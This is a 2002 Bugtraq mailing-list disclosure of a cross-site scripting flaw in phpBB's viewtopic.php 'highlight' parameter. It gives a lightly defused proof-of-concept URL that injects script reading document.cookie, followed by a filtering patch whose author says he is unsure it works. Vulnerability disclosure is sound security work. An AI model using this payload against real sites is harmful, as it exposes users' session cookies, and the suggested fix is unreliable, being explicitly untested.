[27954] in bugtraq
XSS bug in phpBB
daemon@ATHENA.MIT.EDU (Arab VieruZ)
Wed Nov 20 07:10:49 2002
Date: 18 Nov 2002 12:33:41 -0000
Message-ID: <20021118123341.9753.qmail@mail.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Arab VieruZ <arabviersus@hotmail.com>
To: bugtraq@securityfocus.com
Vulnerable systems:
The Last ver
Exploit:
http://phpbb.com/phpBB/viewtopic.php?
t=17071&highlight=">"<Scr*ipt>javascript:alert(document.cookie)</Scr*ipt>
(without "*")
Solution:
i think that will work , but im not sure
open viewtopic.php and put this code
$highlight = htmlspecialchars($highlight);
$highlight = PREG_Replace("/[A-Z&.;:()~!@#$%^''*\{\}\/]/i", "",
$highlight);
